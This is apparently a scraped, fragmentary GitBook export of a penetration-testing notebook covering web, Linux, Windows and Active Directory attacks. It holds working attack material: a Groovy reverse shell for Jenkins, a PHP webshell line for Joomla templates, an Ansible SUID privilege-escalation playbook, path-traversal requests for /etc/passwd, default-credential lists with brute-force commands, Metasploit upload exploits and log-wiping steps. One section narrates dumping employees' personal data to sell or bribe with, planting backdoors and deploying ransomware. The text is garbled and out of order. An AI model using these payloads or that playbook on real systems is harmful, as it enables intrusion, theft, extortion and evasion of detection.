Only this pageAll pages
Powered by GitBook
Couldn't generate the PDF for 283 pages, generation stopped at 100.
Extend with 50 more pages.
1 of 100

RED Squad [en]

Loading...

Loading...

Loading...

Loading...

Web Hacking

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Linux Hacking

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Windows Hacking

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Enumeration

Enumeration is Key

403 Bypass

Install

git clone https://github.com/sting8k/BurpSuite_403Bypasser.git
# BurpSuite -> Extender -> Extensions -> Add -> Extension Type: Python -> Select file: 403bypasser.py -> Next till Finish

Check also

/home/red-squad

Introduction

whoami

Welcome to our GitBook, a meticulously curated repository crafted by two dedicated young penetration testers. Our mission is to compile a comprehensive inventory of the tools, techniques, and knowledge we've amassed in the realms of cybersecurity, penetration testing, and red teaming over the recent years.

CTFs shortcuts

Find flag

Web Dev

Is There Life After Death ?

After compromising an infrastructure, web app, what is next ?

The MITRE ATT&CK resource is a good starting point. The end result of the attack will look a bit different based on the goal of the bad actor. The goal might be to :

  • Steal sensitive company/client/employee information, ransom, breaking/DoS applications,

Servers / CMS

CMSMap

CMSmap is a python open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs. The main purpose of CMSmap is to integrate common vulnerabilities for different types of CMSs in a single tool.

At the moment, CMSs supported by CMSmap are

Audits plan

Defacement for financial/reputation loss.

Regardless of the goal, I would start with discovery if I'm already inside the infrastructure/app.

This would allow me to check what other systems are within the infrastructure (and later try to exploit them).

For the app :

  • I would check what data it has/gathers.

  • If the app is based on micro-services,

  • What additional data I could gather from other systems/ apps.

Dump IT ALL :

  • I would download everything I gain access to. That might be user data or employee data,

  • If I gained access to an employee's PC I would download everything they have there and everything they have access to like data, emails, personal pics, and so on.

  • I would then analyze the data to see if there is anything I can sell, bribe for, and any details that would open other attack vectors (phishing, spear phishing, whaling, access/info about other systems, etc.).

After the discovery part is done, I would try to gain access to other systems as lateral movement and do again the first and second step when I'm in.

How would I get it?

Based on the data I've obtained when doing the discovery part I might've found some vulnerable systems, old systems with existing CVE's or just found some credentials on the employee computer.

Privilege Escalation

This could be done by using vulnerabilities in old systems, stealing tokens, modifying the app to steal and send details to remote systems, maybe creating some fake apps that look like internal apps and steal credentials, and so on.

Whatever I do next, I want to still have access to the app/infrastructure so I would start placing backdoors, reverse shells, creating admin accounts, having open sessions to the employee like RDP, and maybe leave open ssh tunnels.

The last step

It would be different depending on my goal.

If this is only money or destruction I would ransomware the hell out of them, systems, databases, user data, employee data, and pretty much everything that I had access to.

If I want to just steal data, I would not do anything destructive and stay in low profile to have the data coming in until they notice it and try to cut me off. I would deface their sites to show off or promote myself.

Sessions / Tokens

Server-Side Vulnerabilities

1. Reconnaissance

The reconnaissance step in Active Directory penetration testing involves gathering as much information as possible about the network, systems, and domain to understand the environment. This phase includes identifying domain controllers, network topology, user accounts, group memberships, and trust relationships.

Buffer Overflow

Kerberos

HTTP Stuff

Web Vulnerabilities

Ping-Pong

TcpDump

Check connectivity between attacker and victim.

#Victim
ping 10.8.132.133
#Attacker
sudo tcpdump -i tun0 icmp
#Networks accessible via the VPN
#Checking Routing Table | Linux

netstat -rn
sudo netstat -rn

#Checking current connections
netstat -an
netstat -ano | findstr TCP | findstr ":0"
Mozilla Firefox

CTRL + SHIFT + I

HTTP Headers Response

Stabilize Reverse shell

use CTRL + C

There's three popular ways I use to stabilize a reverse shell;

  • Python, as mentioned above.

  • riwrap, which prepends to a netcat shell for additional terminal features.

  • Socat, which is a step above netcat but must be manually transferred over and launched on the target machine.

# if the flag looks like : flag{*****}
grep -irl flag{ $path

# if the flag is a .txt file
find / -iname "*.txt" 2>/dev/null
find / -iname "config.php" 2>/dev/null
find / -iname "flag.txt" 2>/dev/null

# find presence of chrootkit
find / -type f -name chkrootkit 2>/dev/null
curl -sSL -D - $ip -o /dev/null
curl -s -I -X POST http://$ip
# In reverse shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In OS
stty raw -echo
fg

As we navigate the evolving landscape of digital security, we commit to regularly updating this GitBook with fresh insights gleaned from the front lines of our professional challenges. Here, you will discover a spectrum of strategies, from foundational concepts to sophisticated methodologies, all of which have been battle-tested in our day-to-day operations and honed through countless Capture The Flag (CTF) exercises.

Join us on this journey of continuous learning and discovery, where each page turn equips you with knowledge and empowers your cybersecurity endeavors.

⬆ Don't forget to support our projects and to BuyUsACoffee ⬆

WordPress
,
Joomla
,
Drupal
and
Moodle
.
git clone https://github.com/Dionach/CMSmap
cd CMSmap/
pip3 install .

cmsmap $url

HTTP Parameters

Find Parameters

Arjun

Find hidden HTTP parameters

# usage / install
pip3 install arjun
arjun --help
arjun -u $target_url

ParamSpider

Parameter miner for humans

Parameter Pollution

When you manipulate any parameter, it’s manipulation depends on how each web technology is parsing their parameters.

You can identify web technologies using “”.

Below is the screenshot of some technologies and their parameter parsing.

Unicode char can cause breaks in some applications. Example with the pile of poo 💩 :

Understand it :

Recently Added

July 2024

Injections

Injections are a security vulnerability in websites and web applications where attackers inject malicious code/data by exploiting a flaw in the way the application handles user input.

There are several types of injections that attackers can use to exploit vulnerabilities in web applications. Some of the most common include:

  1. SQL injection: This occurs when an attacker is able to insert SQL commands into an application's database queries, allowing them to manipulate or extract sensitive data from the database.

  2. Cross-site scripting (XSS) injection: This occurs when an attacker is able to inject malicious code into a web page that is executed by a victim's browser, allowing the attacker to steal sensitive data or take control of the victim's session.

  3. Command injection: This occurs when an attacker is able to inject operating system commands into an application, allowing them to execute arbitrary code on the server.

  4. LDAP injection: This occurs when an attacker is able to inject LDAP commands into an application, allowing them to manipulate or extract sensitive data from the application's directory services.

Jenkins

Enumeration

msf> use auxiliary/scanner/http/jenkins_enum

# execute commands without authentication ?
msf> use auxiliary/scanner/http/jenkins_command

# get jenkins version
/oops
/error

RCE from Script Console

From :

Resources

Wordpress eBook Download < 1.2 - CVE-2016-10924

Brief

There is a directory traversal vulnerability in Wordpress eBook Download < 1.2, which allow remote attackers to read arbitrary files.

PoC

Manual

Script

Compiled Binaries

External Audit - Plan

External Audit - Plan

Cookies

Cookies are small bits of data that are stored in your browser. Each browser will store them separately, so cookies in Chrome won't be available in Firefox. They have a huge number of uses, but the most common are either session management or advertising (tracking cookies). Cookies are normally sent with every HTTP request made to a server.

You can check your cookies security attributes with ZAP or Nikto.

JWT

Brief

JSON web tokens (JWTs) are a standardized format for sending cryptographically signed JSON data between systems. They can theoretically contain any kind of data, but are most commonly used to send information ("claims") about users as part of authentication, session handling, and access control mechanisms.

Unlike with classic session tokens, all of the data that a server needs is stored client-side within the JWT itself. This makes JWTs a popular choice for highly distributed websites where users need to interact seamlessly with multiple back-end servers.

A JWT consists of 3 parts: a header, a payload, and a signature. These are each separated by a dot, as shown in the following example:

TOR network

Search in the TOR Network

Services

Source Code

Services:

  • — Searchcode: Search real-world examples of functions, APIs, and libraries in 243 languages across GitHub, GitLab, Bitbucket, GoogleCode, and other source code repositories.

  • — A fast and functional search engine for open-source repositories, with a self-hosted version available.

IDOR

What is IDOR ?

It is a type of an Access Control Vulnerability.

  • An Access Control Vulnerability is when an attacker can gain access to information or actions not intended for them.

An IDOR vulnerability can occur when a web server receives user-supplied input to retrieve objects (files, data, documents), and too much trust

Vulnerabilities and IOC

Find Vulnerability Data and Indicators of Compromise

Services

Subdomains

Enumeration

Google

Ansible

If an ansible file is loaded by a root process : Privilege Escalation

PoC

MISC

Telegram OSINT

  • — Eye of God ( this one is amazing )

  • https://t.me/IDOOSINTBOT — Bot for searching within leaks using email, phone number etc

Privilege Escalation

Privilege Escalation is a malicious attempt to abuse an app or OS bug or error of configuration

Docker Escape

Know you're in a docker

Escape

MITRE CVE — A search engine, database, and widely accepted classifier of vulnerabilities.

  • NIST NVD — The official US government vulnerability database.

  • GitHub Advisory Database — A vulnerability database incorporating CVEs and security advisories.

  • CVEDetails, osv.dev, VulDB, maltiverse — Additional sources of data on vulnerabilities and indicators of compromise.

  • opencve.io — A CVE search engine with integrated alerts for new threats.

  • security.snyk.io и Mend Vulnerability Database, Vulncode-DB — Open-source vulnerability databases.

  • Cloudvulndb — A project compiling vulnerabilities and security issues of cloud service providers.

  • Vulnerability Database — A system for searching information about current threats.

  • Rapid7 - DB — A database containing details of over 180 thousand vulnerabilities and 4 thousand exploits, with all exploits included in Metasploit.

  • Exploit DB — A CVE-compliant archive of publicly available exploits and vulnerable software.

  • sploitus — A search engine for exploits and hacking tools.

  • IOC

    • Prowl - Lupovis — Information gathering about IP address, top threats

    • ThreatMinor — ThreatMiner is a threat intelligence portal designed to enable analysts to research under a single interface.

    https://t.me/osint_maigret_bot — Maigret

  • https://t.me/telesint_bot — Telesint

  • https://t.me/OverloadCyberBot — Overload

  • https://t.me/TgAnalyst_bot — Telegram Analyst

  • https://t.me/GTA_search2Bot — GTA Search

  • https://t.me/tgscanrobot — Search for user's groups

  • https://t.me/PasswordSearchBot — Password Search

  • https://t.me/UniversalSearchXBot — Universal Search (free version of @HowToFindRU_Robot)

  • https://t.me/NewLeakOSINTbot — Leak OSINT (useful asfuck)

  • https://t.me/US2UserBox_bot_Bot / https://link.usersbox.net/ — User's Box

  • Others

    • https://web.archive.org/ — ¯_(ツ)_/¯

    • https://geospy.web.app/ — Get location from a picture (AI)

    • https://imgur.com/a/0Umsm8O — EVERY Car Plate on the map

    https://t.me/fvcksystem_bot

    Files / Upload

    curl http://$target/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../etc/passwd
    git clone https://github.com/rvizx/CVE-2016-10924
    cd CVE-2016-10924
    python pidbrute.py $url
    # Create a .yml file just like the other one
    nano evil.yml
    # Content :
    - hosts: localhost
      tasks:
        - name: RShell
          command: chmod u+s /bin/bash
          become: true
    
    # ---
    # save the file CTRL+O CTRL+X
    # ---
    
    ls -lah /bin/bash
    ansible-playbook evil.yml
    bash -p
    # root
    Brief
    Cookies can be used for many purposes but are most commonly used for website authentication. The cookie value won't usually be a clear-text string where you can see the password, but a token (unique secret code that isn't easily humanly guessable).

    Define Cookies attributes

    Restrict access to cookies

    • Secure

      • Only sent to the server with an encrypted request over HTTPS, never sent with HTTP.

    • HTTPOnly

      • Inacessible to Javascript document.cookie API; only sent to the server, helps mitigate XSS attacks.

    • Path

      • Limits the scope of a cookie to a specific path on the server and can therefore be used to prevent unauthorized access to it from other applications on the same host.

    Define where cookies are sent

    • SameSite

      • The SameSite attribute lets servers specify whether/when cookies are sent with cross-site requests (where Site is defined by the registrable domain). This provides some protection against cross-site request forgery attacks (CSRF).

      • It takes three possible values: Strict, Lax, and None.

    Cookies prefixes

    The header and payload parts of a JWT are just base64url-encoded JSON objects. The header contains metadata about the token itself, while the payload contains the actual "claims" about the user. For example, you can decode the payload from the token above to reveal the following claims:

    In most cases, this data can be easily read or modified by anyone with access to the token. Therefore, the security of any JWT-based mechanism is heavily reliant on the cryptographic signature.

    Signature part

    The server that issues the token typically generates the signature by hashing the header and payload. In some cases, they also encrypt the resulting hash. Either way, this process involves a secret signing key. This mechanism provides a way for servers to verify that none of the data within the token has been tampered with since it was issued:

    • As the signature is directly derived from the rest of the token, changing a single byte of the header or payload results in a mismatched signature.

    • Without knowing the server's secret signing key, it shouldn't be possible to generate the correct signature for a given header or payload.

    Particularities

    In other words, a JWT is usually either a JWS or JWE token. When people use the term "JWT", they almost always mean a JWS token. JWEs are very similar, except that the actual contents of the token are encrypted rather than just encoded.

    JWT example

    IACA darkweb tools —A start page for two dozen search engines that operate within TOR and are accessible from the regular web.

  • Ahmia.fi — Another TOR search engine, notable for being open source.

  • SearchDemon, Phobos, Tor66, ExcavaTOR, Raklet, SeИtoЯ, Torch, OnionLand Search —Additional TOR search engines.

  • Exonera Tor — A database containing IP addresses that were part of the Tor network. Users can determine whether a Tor relay was active on a specific IP address on a chosen date.

  • Relay Search — : A web application for discovering Tor relays and bridges, offering insights into their configurations. It's an open-source tool.

  • Utilities

    • TorBot — A convenient Onion crawler that collects addresses and page titles, extracts email addresses from sites, verifies link activity, and saves reports in JSON. It's Docker compatible.

    • PryingDeep — An OSINT tool to collect intelligence on the dark web.

    • VililantOnion — An Onion crawler with support for keyword search.

    • Katana-ds — A Python tool for automating searches using Google Dorks with TOR support

    • — A Python3 script for automating .onion searches via public services.

    • — An OSINT tool for Darkweb searches that doesn't require TOR installation and can also explore the i2p network

    .
  • HotExamples — Search for code examples of an open-source project, enabling the viewing of examples using a particular class or method from multiple projects on one page.

  • Libraries.io — Search 4,690,628 packages across 32 package managers.

  • RepoSearch — Search source code in SVN and GitHub repositories

  • grep.app — Git content, useful for locating strings associated with IOC vulnerabilities and malware.

  • Search from Cyber_detective — Search 20 open-source repositories using dorks

  • PublicWWW — Enables the discovery of any alphanumeric fragment, including pieces of HTML, JavaScript, CSS code in the code of web pages.

  • NerdyData — Identifies websites utilizing specific technologies.

  • Utils

    • Gitrob — A tool for finding potentially sensitive files in public repositories on GitHub, displaying results via a web interface.

    • Github Dorks — A utility for searching using dorks via the GitHub Search API, written in Python.

    • gitGraber — Monitors GitHub for confidential data, such as credits from various services, quickly searching for sensitive information.

    • github-search —A collection of console tools for GitHub research.

    • — Designed to find email addresses and social media accounts in a website's source code.

    Searchcode
    Sourcegraph
    selfhosted
    has been placed on that input data, and the web application does not validate whether the user should, in fact, have access to the requested object.

    Find and Exploit

    Changing the id value can show us personal infos about other users (IDOR)

    Post Variables

    Examining the contents of forms on a website can sometimes reveal fields that could be vulnerable to IDOR exploitation.

    For instance, the following HTML code for a form that updates a user's password :

    Cookies

    Cookie value changed to 5
    Online Tools

    Takeover

    Subjack

    site:*.wikipedia.org -www -store -jobs -uk
    
    site:*.*.example.com
    site:*.*.*.example.com 
    # wfuzz
    wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://$target.com" -H "Host: FUZZ.$target.com"
    
    # ffuf
    ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.target.com" -u $target.com
    
    # amass
    amass enum -d $domain
    
    # sublistr |
    sublist3r -d $domain -v
    
    # dnsrecon
    dnsrecon -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -v -d $domain
    
    # dnsenum
    dnsenum $target.com
    
    at
    gaining unauthorized access
    to sensitive information by taking over a user’s account that has the necessary
    privileges
    to view or commit modifications to the said information and that wouldn’t be normally accessible to the current user.

    By obtaining these types of rights, a malicious actor can perform a series of actions to the operating system or to the server such as running different commands or facilitating the infiltration of malware within the network, that will further trigger business disruption, exposure of sensitive data, or system resources, or even complete system takeover.

    Resources

    DeepCE

    ps aux
    cd / && ls -lah
    # if .dockerenv then ...
    
    cat /proc/1/cgroup
    arp -a
    # other hosts ???
    # scan open ports
    nc -zv 127.0.0.1 1-65535
    nc -zv $host 1-65535
    
    # check for db and other stuff....
    Wappalyzer
    revsh.groovy
    String host="localhost";
    int port=8044;
    String cmd="cmd.exe";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
    https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
    '''
    Black Box
    '''
    # Network
    nmap -A -p- -Pn -f $target -oN scan
    nmap -sC -sV -p- $target -oN scan
    # or
    rustscan -a $target -- -sC -sV -oN scan
    
    # identify technologies / CMS -> check for vulnerabilities
    
    # whois
    whois $target
    
    # Google Dorking (infos leak)
    site:$target filetype:txt
    site:$target filetype:pdf
    site:$target intext:admin
    site:$target inurl:admin
    
    # Accounts Leaks : intelx.io 
    
    # Reconnaissance
    gospider -q -c 10 -s "http://$target"
    # wappalyzer / identify versions
    # read source code of webpages / finds keys / hidden endpoints
    
    # WEB APP
    nikto -h $target
    
    # Fuzzing
    feroxbuster -t 10 -u https://0.0.0.0 -k -w /usr/share/seclists/Discovery/Web-Content/common.txt -o feroxbuster
    # or
    wfuzz -w /usr/share/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt  -u https://0.0.0.0/FUZZ --hw $hw -p $proxy
    
    # TLS / HSTS
    ./testssl.sh $target
    # burp suite > server response > hsts ? 
    # info leak in headers ?
    
    # HTTP parameters
    arjun -u $url
    
    '''
    Grey Box
    '''
    # COOKIES
    ## Secure, HTTPOnly flags
    ## session fixation
    
    # Inputs : SQLi / XSS / CSRF / SSRF / SSTI / OS Injection
    
    # FUNCTIONALITIES 
    #       logout / session timeout ? if the session is properly killed after logout.
    #	password change, weak pass ?
    #       IDOR  / Improper Isolation or Compartmentalization :
    #	    access URI functionalities with no auth / no privileges
    #       Uploads : eicar / file uploads bypass / lfi ?
    #       zipslip / CSV injection
    SQLi
    HTML | XSS
    XXE

    Drupal

    Manual

    Exploits

    Drupal < 8.7.x Authenticated RCE module upload

    Drupal < 9.1.x Authenticated RCE Twig templates

    "Administer views" -> new View of User Fields -> Add a "Custom text" :

    If found /node/$NUMBER, the number could be devs or tests pages

    Drupal < 8.6.9 - REST Module Remote Code Execution

    Check for username disclosure on old versions:

    ?q=admin/views/ajax/autocomplete/user/a

    Tools

    Drupwn

    Enumeration & Exploitation

    droopescan

    WordPress

    Manual

    Information Gathering

    • license.txt (wordpress version)

    • wp-activate.php

    • wp-content/uploads/

    • wp-includes/

    • wp-config.php

    Users / IP

    Check for usernames : /wp-json/wp/v2/users

    Could leak IP addresses : /wp-json/wp/v2/pages

    xmlrpc.php

    Active

    Credentials brute-force or use it to launch DoS attacks

    Exploit

    SSRF

    /wp-json/oembed/1.0/proxy

    Try

    WPScan

    WPScan WordPress security scanner. Written for security professionals and blog maintainers to test the security of their WordPress websites.

    Commands - with API

    Default

    Private Commands - with API

    CSRF

    What is a CSRF attack ?

    In a Cross-Site Request Forgery attack, a malicious site tricks a victim's browser into making an unwanted request to a different site on which the victim is authenticated, potentially causing the victim to perform an action on that site without their knowledge or consent.

    How does it work?

    Imagine a scenario where you're logged into your online banking. While still logged in, you visit a different website that has some malicious code. This malicious website can send a request to your bank's website to transfer money without your knowledge. If the bank's website doesn't have proper CSRF protections, it would think that you made the request because your authentication cookies are automatically included by your browser.

    Key points about CSRF:

    1. Relies on the authenticated state: The attack works because browsers automatically include any cookies associated with a domain in requests made to that domain. So if you're authenticated to a website, that means any requests made to that website (even from a different website) will include your cookies.

    2. Doesn't steal data directly: CSRF isn't about stealing data. Instead, it tricks the victim into performing actions without their knowledge.

    3. Exploits trusted relationships: CSRF exploits the trust a website has in the user's browser, not necessarily a flaw in the website's design (although lack of CSRF protections is considered a design flaw).

    How to prevent CSRF attacks?

    1. Use Anti-CSRF Tokens: The most common way to prevent CSRF attacks is to use anti-CSRF tokens. This involves sending a random token in each request which the server verifies. Since the malicious site won't know this token, it can't forge a valid request.

    2. SameSite Cookie Attribute: Modern browsers support the SameSite cookie attribute, which can prevent the browser from sending cookies along with cross-site requests, mitigating the risk of CSRF attacks.

    3. Check the Referer

    LaTex

    What is LaTex ?

    LaTeX is a document preparation system for high-quality typesetting. It is most often used for medium-to-large technical or scientific documents but it can be used for almost any form of publishing.

    Injections

    Read files

    Write file

    Command execution

    Cross-Site Scripting

    Resources

    ZIP Slip

    What is Zip Slip vulnerability ?

    When a ZIP/archive file is automatically decompressed after the upload.

    The vulnerability has been found in multiple ecosystems, including JavaScript, Ruby, .NET and Go, but is especially prevalent in Java, where there is no central library offering high level processing of archive (e.g. zip) files. The lack of such a library led to vulnerable code snippets being hand crafted and shared among developer communities such as StackOverflow.

    The vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.g. ../../evil.sh). The Zip Slip vulnerability can affect numerous archive formats, including tar, jar, war, cpio, apk, rar and 7z.

    Exploitation

    Web Scanners

    nikto

    Usage

    # Default
    nikto -h http://0.0.0.0
    
    # scan domain with ssl enabled
    nikto -h https://0.0.0.0 -ssl

    Whatweb

    PortSwigger's Burp Suite

    OWASP ZAP

    Joomla!

    Reconnaissance

    Endpoints | Manual

    /robots.txt
    /README.txt
    /LICENSE.txt
    /administrator/manifests/files/joomla.xml
    /language/en-GB/en-GB.xml
    /plugins/system/cache/cache.xml
    /web.config

    Automatic

    Exploit

    Bruteforce

    Default credentials :

    admin:admin

    CVE-2023-23752 to Code Execution

    SAP

    Discovery

    Default Passwords

    USER
    PASSWORD
    CLIENT

    Exploits

    SAP_RECON (CVE-2020-6287, CVE-2020-6286)

    This script allows to check SAP LM Configuration Wizard missing authorization check vulnerability and as a PoC script exploits directory traversal in queryProtocol method.

    Directory traversal allows to download any zip from SAP server.

    Apache

    Server Status

    Apache server-status is an Apache monitoring instance Available by default at http://$target/server-status

    In normal cases, the server-status instance is not accessible by non-local IPs. However, due to misconfiguration, it can be publicly accessible. This leads anyone to view the great amount of data by server-status.

    Data exposed

    • All URL requested by all hosts/vhosts, including obscure files/directories and session tokens

    • All requested client's IPs

    Exploiting it

    CVE-2021-41773

    A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49-2.4.50.

    An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts.

    This issue only affects Apache 2.4.49 & 2.4.50 and not earlier versions.

    Cover tracks

    Log files

    MoonWalk 🕺

    MoonWalk is a 400 KB single-binary executable that can clear your traces while penetration testing a Unix machine.

    It saves the state of system logs pre-exploitation and reverts that state including the filesystem timestamps post-exploitation leaving zero traces of a ghost in the shell.

    Installation

    Usage

    Shell Stabilizing

    Python shell

    #On REV shell
    which python
    # python3
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    export TERM=xterm
    
    # python2.7
    python -c 'import pty; pty.spawn("/bin/bash")'
    • On Attacker PC : -- Ctrl + Z -- Enter -- stty raw -echo in attacking terminal and note down the values for rows and columns.

    Script shell

    API

    MindMap

    OWASP TOP 10 API

    2. Initial Attack Vectors

    linWinPwn

    linWinPwn is a bash script that automates a number of Active Directory Enumeration and Vulnerability checks. The script uses a number of tools and serves as wrapper of them. Tools include: impacket, bloodhound, crackmapexec, enum4linux-ng, ldapdomaindump, lsassy, smbmap, kerbrute, adidnsdump, certipy, silenthound, and others.

    # INSTALL
    git clone https://github.com/lefayjey/linWinPwn
    cd linWinPwn; chmod +x linWinPwn.sh
    chmod +x install.sh
    ./install.sh
    ./linWinPwn.sh -h
    
    # USAGE
    # on the Windows host, run using PowerShell:
    ssh kali@$ip_attacker -R 1080 -NCqf
    
    # On the Linux machine, first update /etc/proxychains4.conf to include socks5 127.0.0.1 1080, then run:
    proxychains ./linWinPwn.sh -t $DC_IP

    Breaches/Leaks

    🗣️ Breaches/Leaks

    🗣 Breaches

    Search Engines

    Metasearch Engines and Search Engines:

    Online Services

    Tomcat

    No Account

    Default Credentials

    Attacking JWT

    Aim

    JWT attacks involve a user sending modified JWTs to the server in order to achieve a malicious goal. Typically, this goal is to bypass authentication and access controls by impersonating another user who has already been authenticated.

    The impact of JWT attacks is usually severe. If an attacker is able to create their own valid tokens with arbitrary values, they may be able to escalate their own privileges or impersonate other users, taking full control of their accounts.

    Kerbrute

    kerbrute

    A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication

    {
        "iss": "portswigger",
        "exp": 1648037164,
        "name": "Carlos Montoya",
        "sub": "carlos",
        "role": "blog_author",
        "email": "[email protected]",
        "iat": 1516239022
    }
    ./subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt -ssl
    wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
    curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
    # Or using python requests
    python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh 
    python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh
    
    # start
    chmod +x ./deepce.sh
    ./deepce.sh
    
    # create new root user on system
    ./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
    git clone https://github.com/devanshbatham/ParamSpider
    cd ParamSpider
    pip3 install -r requirements.txt
    python3 paramspider.py --domain $domain
    # check meta
    curl https://www.drupal.org/ | grep 'content="Drupal'
    # version
    curl https://drupal-site.com/CHANGELOG.txt
    # node
    curl drupal-site.com/node/1
    
    # users
    # 403 -> exists | 404 -> doesn"t
    curl https://www.drupal.org/user/X
    # get username
    curl https://www.drupal.org/reset/user/X/1/1
    wfuzz -w /usr/share/SecLists/Discovery/Web-Content/URLs/urls-SAP.txt --hc 404,403,503,406,401 --hl 172 https://domain.com/FUZZ
    wfuzz -w /usr/share/SecLists/Discovery/Web-Content/CMS/SAP.fuzz.txt --hc 404,403,503,406,401 --hl 172 https://domain.com/FUZZ
    wfuzz -w /usr/share/SecLists/Discovery/Web-Content/sap.txt --hc 404,403,503,406,401 --hl 172 https://domain.com/FUZZ
    
    # good wordlist
    wget https://gist.githubusercontent.com/0x240x23elu/88327494cf7331008a13bc7d5aabfe74/raw/62bed611cfef054ffbb9b8bd0a320a53671d9ee4/SAPwordlists.txt -o sap_great.txt
    wfuzz -w sap_great.txt --hc 404,403,503,406,401 --hl 172 https://domain.com/FUZZ
    
    # check juicy
    http://domain.com/sap/public/info
    /etc/syslog.conf
    
    # in this file, you can read all the logs that Syslog logs.
    # on linux/unix, a lot of systems logs are stored : 
    /var/logs
    # i.e. 
    /var/log/messages
    /var/log/auth.log # ssh, sudo attempts
    
    # APACHE
    /var/log/apache2/access.log
    /var/log/apache2/error.log
    
    # remove your ip :
    grep -v '$src-ip-address' /path/to/access_log > a && mv a /path/to/access_log
    grep -v <entry-to-remove> <logfile> > /tmp/a ; mv /tmp/a <logfile> ; rm -f /tmp/a
    
    # utmp / wtmp
    who
    last
    lastlog
    
    # COMMAND HISTORY
    echo $HISTFILE
    # You can set your file size like this to zero, to avoid storing commands.
    export HISTSIZE=0
    
    # SHRED FILES
    # lets you remove files in a more secure way
    shred -zu $filename
    OnionSearch
    Devils Eye
    TheScrapper
    and
    Origin
    Headers
    : Servers can check these HTTP headers to see if a request is coming from a trusted origin.
  • Require Reauthentication for Sensitive Actions: For very sensitive operations, like changing a password, always prompt users to re-enter their current password.

  • Be cautious with CORS: Cross-Origin Resource Sharing (CORS) headers shouldn't be used recklessly, as they can allow unwanted cross-site interactions.

  • # droopescan
    droopescan scan joomla --url http://joomla-site.local/
    
    # joomscan - OWASP 
    git clone https://github.com/rezasp/joomscan.git
    cd joomscan
    perl joomscan.pl
    stty raw -echo; fg
    stty rows NUMBER cols NUMBER
    # On REV shell
    which script 
    /usr/bin/script -qc /bin/bash /dev/null
    export TERM=xterm
    Bruteforce

    Passwords Backtrace disclosure

    /auth.jsp

    With Account

    Manager - RCE

    You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script).

    Those details can be find under tomcat-users.xml usually defined in /usr/share/tomcat9/etc/tomcat-users.xml (it vary between versions)

    PoC

    wget https://raw.githubusercontent.com/ajnik/joomla-bruteforce/master/joomla-brute.py
    python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
    curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
    # Joomla! MySQL credentials plain-text
    # Modify a template when logged in
    # Site templates > Editor > modify 'error.php' :
    system($_GET['cmd']);
    
    # try : 
    curl -s http://joomla-site.local/templates/cassiopeia/error.php\?cmd\=id
    # install
    git clone https://github.com/mazen160/server-status_PWN.git
    cd server-status_PWN
    pip3 install -r requirements
    
    # exploit
    python3 server-status_PWN.py --url 'http://$target/server-status'
    # install
    git clone https://github.com/iilegacyyii/PoC-CVE-2021-41773.git
    cd PoC-CVE-2021-41773/
    python3 CVE-2021-41773.py --host https://$target
    admin:
    admin:admin
    admin:password
    admin:password1
    admin:Password1
    admin:tomcat
    manager:manager
    root:changethis
    root:password
    root:password1
    root:root
    root:r00t
    root:toor
    tomcat:(empty)
    tomcat:admin
    tomcat:changethis
    tomcat:password
    tomcat:password1
    tomcat:s3cret
    tomcat:tomcat
    # metasploit
    msf> use auxiliary/scanner/http/tomcat_mgr_login
    
    # hydra
    hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
    # metasploit
    use exploit/multi/http/tomcat_mgr_upload
    msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
    msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
    msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
    msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
    msf exploit(multi/http/tomcat_mgr_upload) > exploit
    
    # msfvenom - manually
